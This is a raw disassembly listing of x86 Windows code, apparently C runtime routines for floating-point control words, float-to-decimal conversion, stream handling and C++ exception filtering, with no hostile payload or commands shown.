		mov	dword_4DB278, 2Ah
		or	eax, 0FFFFFFFFh
		jmp	short loc_423EE8
; ---------------------------------------------------------------------------


loc_423F64:				; CODE XREF: sub_423EC3+52j
		xor	eax, eax
		cmp	[ebp+arg_0], ebx
		setnz	al
		push	eax
		push	[ebp+arg_0]
		push	1
		push	esi
		push	9
		push	dword_4DB344
		nop
		call	near ptr 2800000h
		test	eax, eax
		jnz	loc_423F02
		jmp	short loc_423F55
sub_423EC3	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_423F90	proc near		; CODE XREF: sub_420510+797p
					; sub_420510+7E7p
		cmp	cl, 40h
		jnb	short loc_423FAA
		cmp	cl, 20h
		jnb	short loc_423FA0
		shld	edx, eax, cl
		shl	eax, cl
		retn
; ---------------------------------------------------------------------------


loc_423FA0:				; CODE XREF: sub_423F90+8j
		mov	edx, eax
		xor	eax, eax
		and	cl, 1Fh
		shl	edx, cl
		retn
; ---------------------------------------------------------------------------


loc_423FAA:				; CODE XREF: sub_423F90+3j
		xor	eax, eax
		xor	edx, edx
		retn
sub_423F90	endp


; =============== S U B	R O U T	I N E =======================================



sub_423FAF	proc near		; CODE XREF: sub_420F86+Fp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		mov	ebx, [esp+4+arg_0]
		cmp	ebx, 0FFFFFFFFh
		push	esi
		jz	short loc_423FFB
		mov	esi, [esp+8+arg_4]
		mov	eax, [esi+0Ch]
		test	al, 1
		jnz	short loc_423FCD
		test	al, 80h
		jz	short loc_423FFB
		test	al, 2
		jnz	short loc_423FFB


loc_423FCD:				; CODE XREF: sub_423FAF+14j
		cmp	dword ptr [esi+8], 0
		jnz	short loc_423FDA
		push	esi
		call	sub_4239EF
		pop	ecx


loc_423FDA:				; CODE XREF: sub_423FAF+22j
		mov	eax, [esi]
		cmp	eax, [esi+8]
		jnz	short loc_423FEA
		cmp	dword ptr [esi+4], 0
		jnz	short loc_423FFB
		inc	eax
		mov	[esi], eax


loc_423FEA:				; CODE XREF: sub_423FAF+30j
		test	byte ptr [esi+0Ch], 40h
		jz	short loc_424001
		dec	dword ptr [esi]
		mov	eax, [esi]
		cmp	[eax], bl
		jz	short loc_424007
		inc	eax
		mov	[esi], eax


loc_423FFB:				; CODE XREF: sub_423FAF+9j
					; sub_423FAF+18j ...
		or	eax, 0FFFFFFFFh


loc_423FFE:				; CODE XREF: sub_423FAF+6Cj
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_424001:				; CODE XREF: sub_423FAF+3Fj
		dec	dword ptr [esi]
		mov	eax, [esi]
		mov	[eax], bl


loc_424007:				; CODE XREF: sub_423FAF+47j
		mov	eax, [esi+0Ch]
		inc	dword ptr [esi+4]
		and	al, 0EFh
		or	al, 1
		mov	[esi+0Ch], eax
		mov	eax, ebx
		and	eax, 0FFh
		jmp	short loc_423FFE
sub_423FAF	endp


; =============== S U B	R O U T	I N E =======================================



sub_42401D	proc near		; CODE XREF: sub_421576+52p
		xor	eax, eax
		retn
sub_42401D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424020	proc near		; CODE XREF: sub_424055+Ep

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		fstcw	word ptr [ebp+var_4]
		push	[ebp+var_4]
		call	sub_42406B
		mov	esi, eax
		mov	eax, [ebp+arg_4]
		not	eax
		and	esi, eax
		mov	eax, [ebp+arg_0]
		and	eax, [ebp+arg_4]
		or	esi, eax
		push	esi
		call	sub_4240FD
		pop	ecx
		mov	[ebp+arg_4], eax
		pop	ecx
		fldcw	word ptr [ebp+arg_4]
		mov	eax, esi
		pop	esi
		leave
		retn
sub_424020	endp


; =============== S U B	R O U T	I N E =======================================



sub_424055	proc near		; CODE XREF: sub_421862+Ap

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		and	eax, 0FFF7FFFFh
		push	eax
		push	[esp+4+arg_0]
		call	sub_424020
		pop	ecx
		pop	ecx
		retn
sub_424055	endp


; =============== S U B	R O U T	I N E =======================================



sub_42406B	proc near		; CODE XREF: sub_424020+Cp

arg_0		= dword	ptr  4

		push	ebx
		mov	ebx, [esp+4+arg_0]
		xor	eax, eax
		push	ebp
		test	bl, 1
		push	edi
		jz	short loc_42407C
		push	10h
		pop	eax


loc_42407C:				; CODE XREF: sub_42406B+Cj
		test	bl, 4
		jz	short loc_424083
		or	al, 8


loc_424083:				; CODE XREF: sub_42406B+14j
		test	bl, 8
		jz	short loc_42408A
		or	al, 4


loc_42408A:				; CODE XREF: sub_42406B+1Bj
		test	bl, 10h
		jz	short loc_424091
		or	al, 2


loc_424091:				; CODE XREF: sub_42406B+22j
		test	bl, 20h
		jz	short loc_424098
		or	al, 1


loc_424098:				; CODE XREF: sub_42406B+29j
		test	bl, 2
		jz	short loc_4240A2
		or	eax, 80000h


loc_4240A2:				; CODE XREF: sub_42406B+30j
		movzx	ecx, bx
		push	esi
		mov	edx, ecx
		mov	esi, 0C00h
		mov	edi, 300h
		and	edx, esi
		mov	ebp, 200h
		jz	short loc_4240DA
		cmp	edx, 400h
		jz	short loc_4240D7
		cmp	edx, 800h
		jz	short loc_4240D3
		cmp	edx, esi
		jnz	short loc_4240DA
		or	eax, edi
		jmp	short loc_4240DA
; ---------------------------------------------------------------------------


loc_4240D3:				; CODE XREF: sub_42406B+5Ej
		or	eax, ebp
		jmp	short loc_4240DA
; ---------------------------------------------------------------------------


loc_4240D7:				; CODE XREF: sub_42406B+56j
		or	ah, 1


loc_4240DA:				; CODE XREF: sub_42406B+4Ej
					; sub_42406B+62j ...
		and	ecx, edi
		pop	esi
		jz	short loc_4240EA
		cmp	ecx, ebp
		jnz	short loc_4240EF
		or	eax, 10000h
		jmp	short loc_4240EF
; ---------------------------------------------------------------------------


loc_4240EA:				; CODE XREF: sub_42406B+72j
		or	eax, 20000h


loc_4240EF:				; CODE XREF: sub_42406B+76j
					; sub_42406B+7Dj
		pop	edi
		pop	ebp
		test	bh, 10h
		pop	ebx
		jz	short locret_4240FC
		or	eax, 40000h

locret_4240FC:				; CODE XREF: sub_42406B+8Aj
		retn
sub_42406B	endp


; =============== S U B	R O U T	I N E =======================================



sub_4240FD	proc near		; CODE XREF: sub_424020+23p

arg_0		= dword	ptr  4

		push	ebx
		mov	ebx, [esp+4+arg_0]
		xor	eax, eax
		push	esi
		test	bl, 10h
		jz	short loc_42410D
		push	1
		pop	eax


loc_42410D:				; CODE XREF: sub_4240FD+Bj
		test	bl, 8
		jz	short loc_424114
		or	al, 4


loc_424114:				; CODE XREF: sub_4240FD+13j
		test	bl, 4
		jz	short loc_42411B
		or	al, 8


loc_42411B:				; CODE XREF: sub_4240FD+1Aj
		test	bl, 2
		jz	short loc_424122
		or	al, 10h


loc_424122:				; CODE XREF: sub_4240FD+21j
		test	bl, 1
		jz	short loc_424129
		or	al, 20h


loc_424129:				; CODE XREF: sub_4240FD+28j
		test	ebx, 80000h
		jz	short loc_424133
		or	al, 2


loc_424133:				; CODE XREF: sub_4240FD+32j
		mov	ecx, ebx
		mov	edx, 300h
		and	ecx, edx
		mov	esi, 200h
		jz	short loc_424160
		cmp	ecx, 100h
		jz	short loc_42415D
		cmp	ecx, esi
		jz	short loc_424158
		cmp	ecx, edx
		jnz	short loc_424160
		or	ah, 0Ch
		jmp	short loc_424160
; ---------------------------------------------------------------------------


loc_424158:				; CODE XREF: sub_4240FD+50j
		or	ah, 8
		jmp	short loc_424160
; ---------------------------------------------------------------------------


loc_42415D:				; CODE XREF: sub_4240FD+4Cj
		or	ah, 4


loc_424160:				; CODE XREF: sub_4240FD+44j
					; sub_4240FD+54j ...
		mov	ecx, ebx
		and	ecx, 30000h
		jz	short loc_424176
		cmp	ecx, 10000h
		jnz	short loc_424178
		or	eax, esi
		jmp	short loc_424178
; ---------------------------------------------------------------------------


loc_424176:				; CODE XREF: sub_4240FD+6Bj
		or	eax, edx


loc_424178:				; CODE XREF: sub_4240FD+73j
					; sub_4240FD+77j
		pop	esi
		test	ebx, 40000h
		pop	ebx
		jz	short locret_424185
		or	ah, 10h

locret_424185:				; CODE XREF: sub_4240FD+83j
		retn
sub_4240FD	endp


; =============== S U B	R O U T	I N E =======================================



sub_424186	proc near		; CODE XREF: sub_424225+48p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		push	esi
		push	20h
		cdq
		pop	ecx
		idiv	ecx
		push	1Fh
		mov	esi, eax
		mov	eax, [esp+8+arg_4]
		cdq
		idiv	ecx
		pop	ecx
		mov	eax, [esp+4+arg_0]
		sub	ecx, edx
		or	edx, 0FFFFFFFFh
		shl	edx, cl
		not	edx
		test	[eax+esi*4], edx
		jnz	short loc_4241CB
		inc	esi
		cmp	esi, 3
		jge	short loc_4241C6
		lea	eax, [eax+esi*4]


loc_4241B8:				; CODE XREF: sub_424186+3Ej
		cmp	dword ptr [eax], 0
		jnz	short loc_4241CB
		inc	esi
		add	eax, 4
		cmp	esi, 3
		jl	short loc_4241B8


loc_4241C6:				; CODE XREF: sub_424186+2Dj
		push	1
		pop	eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4241CB:				; CODE XREF: sub_424186+27j
					; sub_424186+35j
		xor	eax, eax
		pop	esi
		retn
sub_424186	endp


; =============== S U B	R O U T	I N E =======================================



sub_4241CF	proc near		; CODE XREF: sub_424225+57p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		push	ebx
		push	esi
		push	edi
		push	20h
		mov	ebx, [esp+10h+arg_0]
		cdq
		pop	ecx
		idiv	ecx
		mov	esi, eax
		mov	eax, [esp+0Ch+arg_4]
		cdq
		idiv	ecx
		lea	edi, [ebx+esi*4]
		push	edi
		push	1Fh
		pop	ecx
		push	1
		pop	eax
		sub	ecx, edx
		shl	eax, cl
		push	eax
		push	dword ptr [edi]
		call	sub_425050
		add	esp, 0Ch
		dec	esi
		js	short loc_424221
		lea	edi, [ebx+esi*4]


loc_424208:				; CODE XREF: sub_4241CF+50j
		test	eax, eax
		jz	short loc_424221
		push	edi
		push	1
		push	dword ptr [edi]
		call	sub_425050
		add	esp, 0Ch
		dec	esi
		sub	edi, 4
		test	esi, esi
		jge	short loc_424208


loc_424221:				; CODE XREF: sub_4241CF+34j
					; sub_4241CF+3Bj
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_4241CF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424225	proc near		; CODE XREF: sub_424380+81p
					; sub_424380+CCp

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, [ebp+arg_4]
		push	ebx
		push	esi
		push	edi
		lea	edi, [eax-1]
		push	20h
		pop	ecx
		and	[ebp+var_4], 0
		lea	ebx, [edi+1]
		push	20h
		mov	eax, ebx
		pop	esi
		cdq
		idiv	ecx
		push	1Fh
		mov	ecx, eax
		mov	eax, ebx
		cdq
		idiv	esi
		mov	eax, [ebp+arg_0]
		pop	esi
		push	1
		mov	[ebp+var_8], ecx
		lea	eax, [eax+ecx*4]
		mov	[ebp+arg_4], eax
		sub	esi, edx
		pop	edx
		mov	ecx, esi
		shl	edx, cl
		test	[eax], edx
		jz	short loc_424289
		inc	ebx
		push	ebx
		push	[ebp+arg_0]
		call	sub_424186
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_424286
		push	edi
		push	[ebp+arg_0]
		call	sub_4241CF
		pop	ecx
		mov	[ebp+var_4], eax
		pop	ecx


loc_424286:				; CODE XREF: sub_424225+51j
		mov	eax, [ebp+arg_4]


loc_424289:				; CODE XREF: sub_424225+41j
		or	edx, 0FFFFFFFFh
		mov	ecx, esi
		shl	edx, cl
		push	3
		pop	ecx
		and	[eax], edx
		mov	eax, [ebp+var_8]
		inc	eax
		cmp	eax, ecx
		jge	short loc_4242A9
		mov	edx, [ebp+arg_0]
		sub	ecx, eax
		lea	edi, [edx+eax*4]
		xor	eax, eax
		rep stosd


loc_4242A9:				; CODE XREF: sub_424225+76j
		mov	eax, [ebp+var_4]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_424225	endp


; =============== S U B	R O U T	I N E =======================================



sub_4242B1	proc near		; CODE XREF: sub_424380+75p
					; sub_424380+B6p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_0]
		push	esi
		push	3
		sub	ecx, eax
		pop	edx


loc_4242BF:				; CODE XREF: sub_4242B1+17j
		mov	esi, [eax]
		mov	[ecx+eax], esi
		add	eax, 4
		dec	edx
		jnz	short loc_4242BF
		pop	esi
		retn
sub_4242B1	endp


; =============== S U B	R O U T	I N E =======================================



sub_4242CC	proc near		; CODE XREF: sub_424380+5Fp
					; sub_424380+9Ep ...

arg_0		= dword	ptr  4

		push	edi
		mov	edi, [esp+4+arg_0]
		xor	eax, eax
		stosd
		stosd
		stosd
		pop	edi
		retn
sub_4242CC	endp


; =============== S U B	R O U T	I N E =======================================



sub_4242D8	proc near		; CODE XREF: sub_424380+4Dp

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		xor	ecx, ecx


loc_4242DE:				; CODE XREF: sub_4242D8+12j
		cmp	dword ptr [eax], 0
		jnz	short loc_4242F0
		inc	ecx
		add	eax, 4
		cmp	ecx, 3
		jl	short loc_4242DE
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------


loc_4242F0:				; CODE XREF: sub_4242D8+9j
		xor	eax, eax
		retn
sub_4242D8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4242F3	proc near		; CODE XREF: sub_424380+C0p
					; sub_424380+DAp ...

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	eax, [ebp+arg_4]
		push	ebx
		push	esi
		push	edi
		push	20h
		mov	edi, [ebp+arg_0]
		pop	ebx
		or	esi, 0FFFFFFFFh
		cdq
		mov	ecx, ebx
		mov	[ebp+var_4], 3
		idiv	ecx
		mov	[ebp+var_C], eax
		mov	eax, [ebp+arg_4]
		cdq
		idiv	ecx
		and	[ebp+arg_4], 0
		mov	ecx, edx
		shl	esi, cl
		sub	ebx, edx
		not	esi


loc_424329:				; CODE XREF: sub_4242F3+58j
		mov	eax, [edi]
		mov	ecx, eax
		and	ecx, esi
		mov	[ebp+var_8], ecx
		mov	ecx, edx
		shr	eax, cl
		or	eax, [ebp+arg_4]
		mov	[edi], eax
		mov	eax, [ebp+var_8]
		mov	ecx, ebx
		add	edi, 4
		shl	eax, cl
		dec	[ebp+var_4]
		mov	[ebp+arg_4], eax
		jnz	short loc_424329
		mov	edi, [ebp+var_C]
		push	2
		pop	ebx
		mov	esi, edi
		push	8
		pop	ecx
		shl	esi, 2


loc_42435B:				; CODE XREF: sub_4242F3+86j
		cmp	ebx, edi
		jl	short loc_42436E
		mov	edx, [ebp+arg_0]
		mov	eax, ecx
		sub	eax, esi
		mov	eax, [eax+edx]
		mov	[ecx+edx], eax
		jmp	short loc_424375
; ---------------------------------------------------------------------------


loc_42436E:				; CODE XREF: sub_4242F3+6Aj
		mov	eax, [ebp+arg_0]
		and	dword ptr [ecx+eax], 0


loc_424375:				; CODE XREF: sub_4242F3+79j
		dec	ebx
		sub	ecx, 4
		jns	short loc_42435B
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4242F3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424380	proc near		; CODE XREF: sub_4244EC+Dp
					; sub_424502+Dp

var_18		= byte ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		movzx	ecx, word ptr [eax+0Ah]
		mov	ebx, ecx
		and	ecx, 8000h
		mov	[ebp+arg_0], ecx
		mov	ecx, [eax+6]
		mov	[ebp+var_C], ecx
		mov	ecx, [eax+2]
		movzx	eax, word ptr [eax]
		mov	edi, [ebp+arg_8]
		and	ebx, 7FFFh
		sub	ebx, 3FFFh
		mov	[ebp+var_8], ecx
		shl	eax, 10h
		cmp	ebx, 0FFFFC001h
		mov	[ebp+var_4], eax
		jnz	short loc_4243ED
		lea	eax, [ebp+var_C]
		xor	esi, esi
		push	eax
		call	sub_4242D8
		test	eax, eax
		pop	ecx
		jnz	loc_4244AC
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_4242CC
		pop	ecx


loc_4243E5:				; CODE XREF: sub_424380+E4j
		push	2


loc_4243E7:				; CODE XREF: sub_424380+110j
		pop	eax
		jmp	loc_4244AE
; ---------------------------------------------------------------------------


loc_4243ED:				; CODE XREF: sub_424380+45j
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_18]
		push	eax
		call	sub_4242B1
		push	dword ptr [edi+8]
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_424225
		add	esp, 10h
		test	eax, eax
		jz	short loc_42440E
		inc	ebx


loc_42440E:				; CODE XREF: sub_424380+8Bj
		mov	eax, [edi+4]
		mov	ecx, eax
		sub	ecx, [edi+8]
		cmp	ebx, ecx
		jge	short loc_424426
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_4242CC
		pop	ecx
		jmp	short loc_424462
; ---------------------------------------------------------------------------


loc_424426:				; CODE XREF: sub_424380+98j
		cmp	ebx, eax
		jg	short loc_424469
		sub	eax, ebx
		mov	esi, eax
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_4242B1
		lea	eax, [ebp+var_C]
		push	esi
		push	eax
		call	sub_4242F3
		push	dword ptr [edi+8]
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_424225
		mov	eax, [edi+0Ch]
		inc	eax
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_4242F3
		add	esp, 20h


loc_424462:				; CODE XREF: sub_424380+A4j
		xor	esi, esi
		jmp	loc_4243E5
; ---------------------------------------------------------------------------


loc_424469:				; CODE XREF: sub_424380+A8j
		cmp	ebx, [edi]
		jl	short loc_424495
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_4242CC
		push	dword ptr [edi+0Ch]
		or	byte ptr [ebp+var_C+3],	80h
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_4242F3
		mov	esi, [edi+14h]
		add	esp, 0Ch
		add	esi, [edi]
		push	1
		jmp	loc_4243E7
; ---------------------------------------------------------------------------


loc_424495:				; CODE XREF: sub_424380+EBj
		push	dword ptr [edi+0Ch]
		mov	esi, [edi+14h]
		and	byte ptr [ebp+var_C+3],	7Fh
		lea	eax, [ebp+var_C]
		push	eax
		add	esi, ebx
		call	sub_4242F3
		pop	ecx
		pop	ecx


loc_4244AC:				; CODE XREF: sub_424380+55j
		xor	eax, eax


loc_4244AE:				; CODE XREF: sub_424380+68j
		push	1Fh
		pop	ecx
		sub	ecx, [edi+0Ch]
		mov	edi, [edi+10h]
		shl	esi, cl
		mov	ecx, [ebp+arg_0]
		neg	ecx
		sbb	ecx, ecx
		and	ecx, 80000000h
		or	esi, ecx
		or	esi, [ebp+var_C]
		cmp	edi, 40h
		jnz	short loc_4244DD
		mov	ecx, [ebp+arg_4]
		mov	edx, [ebp+var_8]
		mov	[ecx+4], esi
		mov	[ecx], edx
		jmp	short loc_4244E7
; ---------------------------------------------------------------------------


loc_4244DD:				; CODE XREF: sub_424380+14Ej
		cmp	edi, 20h
		jnz	short loc_4244E7
		mov	ecx, [ebp+arg_4]
		mov	[ecx], esi


loc_4244E7:				; CODE XREF: sub_424380+15Bj
					; sub_424380+160j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_424380	endp


; =============== S U B	R O U T	I N E =======================================



sub_4244EC	proc near		; CODE XREF: sub_424518+23p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	offset dword_43CC78
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	sub_424380
		add	esp, 0Ch
		retn
sub_4244EC	endp


; =============== S U B	R O U T	I N E =======================================



sub_424502	proc near		; CODE XREF: sub_424545+23p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	offset dword_43CC90
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	sub_424380
		add	esp, 0Ch
		retn
sub_424502	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424518	proc near		; CODE XREF: sub_42199B+12p

var_C		= byte ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		push	eax
		push	[ebp+arg_4]
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_4251F1
		push	[ebp+arg_0]
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_4244EC
		add	esp, 24h
		leave
		retn
sub_424518	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424545	proc near		; CODE XREF: sub_42199B+2Dp

var_C		= byte ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		push	eax
		push	[ebp+arg_4]
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_4251F1
		push	[ebp+arg_0]
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_424502
		add	esp, 24h
		leave
		retn
sub_424545	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424572	proc near		; CODE XREF: sub_4219D9+65p
					; sub_421ADD+63p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	edx, [ebp+arg_8]
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	esi
		mov	esi, [ebp+arg_0]
		mov	ecx, [edx+0Ch]
		push	edi
		lea	edi, [esi+1]
		mov	byte ptr [esi],	30h
		test	ebx, ebx
		mov	eax, edi
		jle	short loc_4245AF
		mov	[ebp+arg_0], ebx
		xor	ebx, ebx


loc_424595:				; CODE XREF: sub_424572+38j
		mov	dl, [ecx]
		test	dl, dl
		jz	short loc_4245A1
		movsx	edx, dl
		inc	ecx
		jmp	short loc_4245A4
; ---------------------------------------------------------------------------


loc_4245A1:				; CODE XREF: sub_424572+27j
		push	30h
		pop	edx


loc_4245A4:				; CODE XREF: sub_424572+2Dj
		mov	[eax], dl
		inc	eax
		dec	[ebp+arg_0]
		jnz	short loc_424595
		mov	edx, [ebp+arg_8]


loc_4245AF:				; CODE XREF: sub_424572+1Cj
		and	byte ptr [eax],	0
		test	ebx, ebx
		jl	short loc_4245C8
		cmp	byte ptr [ecx],	35h
		jl	short loc_4245C8


loc_4245BB:				; CODE XREF: sub_424572+52j
		dec	eax
		cmp	byte ptr [eax],	39h
		jnz	short loc_4245C6
		mov	byte ptr [eax],	30h
		jmp	short loc_4245BB
; ---------------------------------------------------------------------------


loc_4245C6:				; CODE XREF: sub_424572+4Dj
		inc	byte ptr [eax]


loc_4245C8:				; CODE XREF: sub_424572+42j
					; sub_424572+47j
		cmp	byte ptr [esi],	31h
		jnz	short loc_4245D2
		inc	dword ptr [edx+4]
		jmp	short loc_4245E4
; ---------------------------------------------------------------------------


loc_4245D2:				; CODE XREF: sub_424572+59j
		push	edi
		call	sub_41AFE0
		inc	eax
		push	eax
		push	edi
		push	esi
		call	sub_41CC90
		add	esp, 10h


loc_4245E4:				; CODE XREF: sub_424572+5Ej
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_424572	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4245E9	proc near		; CODE XREF: sub_4219D9+3Fp
					; sub_421ADD+46p ...

var_C		= byte ptr -0Ch
arg_0		= byte ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	esi
		lea	eax, [ebp+arg_0]
		push	edi
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_42464D
		pop	ecx
		lea	esi, [ebp+var_C]
		pop	ecx
		push	offset word_4DB470
		push	0
		push	11h
		sub	esp, 0Ch
		mov	edi, esp
		movsd
		movsd
		movsw
		call	sub_4256C2
		mov	dword_4DB498, eax
		add	esp, 18h
		movsx	eax, byte_4DB472
		mov	dword_4DB490, eax
		pop	edi
		movsx	eax, word_4DB470
		mov	dword_4DB494, eax
		mov	dword_4DB49C, offset dword_4DB474
		mov	eax, offset dword_4DB490
		pop	esi
		leave
		retn
sub_4245E9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42464D	proc near		; CODE XREF: sub_4245E9+10p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	edx, [ebp+arg_4]
		push	ebx
		push	esi
		push	edi
		mov	ax, [edx+6]
		mov	edi, 7FFh
		mov	ecx, eax
		and	eax, 8000h
		shr	ecx, 4
		and	ecx, edi
		mov	[ebp+arg_4], eax
		mov	eax, [edx+4]
		mov	edx, [edx]
		movzx	ebx, cx
		mov	esi, 80000000h
		and	eax, 0FFFFFh
		test	ebx, ebx
		mov	[ebp+var_4], esi
		jz	short loc_42469B
		cmp	ebx, edi
		jz	short loc_424694
		lea	edi, [ecx+3C00h]
		jmp	short loc_4246BC
; ---------------------------------------------------------------------------


loc_424694:				; CODE XREF: sub_42464D+3Dj
		mov	edi, 7FFFh
		jmp	short loc_4246BC
; ---------------------------------------------------------------------------


loc_42469B:				; CODE XREF: sub_42464D+39j
		xor	ebx, ebx
		cmp	eax, ebx
		jnz	short loc_4246B3
		cmp	edx, ebx
		jnz	short loc_4246B3
		mov	eax, [ebp+arg_0]
		mov	[eax+4], ebx
		mov	[eax], ebx
		mov	[eax+8], bx
		jmp	short loc_4246FE
; ---------------------------------------------------------------------------


loc_4246B3:				; CODE XREF: sub_42464D+52j
					; sub_42464D+56j
		lea	edi, [ecx+3C01h]
		mov	[ebp+var_4], ebx


loc_4246BC:				; CODE XREF: sub_42464D+45j
					; sub_42464D+4Cj
		mov	ecx, edx
		shr	ecx, 15h
		shl	eax, 0Bh
		or	ecx, eax
		mov	eax, [ebp+arg_0]
		or	ecx, [ebp+var_4]
		shl	edx, 0Bh
		mov	[eax+4], ecx
		mov	[eax], edx


loc_4246D4:				; CODE XREF: sub_42464D+A6j
		test	ecx, esi
		jnz	short loc_4246F5
		mov	edx, [eax]
		add	ecx, ecx
		mov	ebx, edx
		shr	ebx, 1Fh
		or	ebx, ecx
		lea	ecx, [edx+edx]
		mov	[eax], ecx
		mov	[eax+4], ebx
		add	edi, 0FFFFh
		mov	ecx, ebx
		jmp	short loc_4246D4
; ---------------------------------------------------------------------------


loc_4246F5:				; CODE XREF: sub_42464D+89j
		mov	ecx, [ebp+arg_4]
		or	ecx, edi
		mov	[eax+8], cx


loc_4246FE:				; CODE XREF: sub_42464D+64j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_42464D	endp

; ---------------------------------------------------------------------------
		push	2
		call	sub_41DA29
		pop	ecx
		retn

; =============== S U B	R O U T	I N E =======================================



sub_42470C	proc near		; DATA XREF: ___:0043C8B8o
					; ___:0043D118o

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		mov	eax, [esi]
		cmp	dword ptr [eax], 0E06D7363h
		jnz	short loc_42472F
		cmp	dword ptr [eax+10h], 3
		jnz	short loc_42472F
		cmp	dword ptr [eax+14h], 19930520h
		jnz	short loc_42472F
		jmp	sub_42255C
; ---------------------------------------------------------------------------


loc_42472F:				; CODE XREF: sub_42470C+Dj
					; sub_42470C+13j ...
		mov	eax, dword_4DB4A0
		test	eax, eax
		jz	short loc_42474C
		push	eax
		call	sub_4247A8
		test	eax, eax
		pop	ecx
		jz	short loc_42474C
		push	esi
		call	dword_4DB4A0
		jmp	short loc_42474E
; ---------------------------------------------------------------------------


loc_42474C:				; CODE XREF: sub_42470C+2Aj
					; sub_42470C+35j
		xor	eax, eax


loc_42474E:				; CODE XREF: sub_42470C+3Ej
		pop	esi
		retn	4
sub_42470C	endp

; ---------------------------------------------------------------------------
word_424752	dw 0C68h		; DATA XREF: ___:00429028o
; ---------------------------------------------------------------------------
		inc	edi
		inc	edx
		add	[eax+1CBD09E8h], dl
		add	ah, byte ptr dword_4DB4A0[ebx]
		retn
; ---------------------------------------------------------------------------
byte_424763	db 0FFh			; DATA XREF: ___:00429040o
		dd 4DB4A035h, 0BCF8E800h, 0C390021Ch

; =============== S U B	R O U T	I N E =======================================



sub_424770	proc near		; CODE XREF: sub_421DB1+6Bp
					; sub_4222C2+61p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	1
		pop	esi
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		nop
		call	near ptr 25F0000h
		test	eax, eax
		jz	short loc_424788
		xor	esi, esi


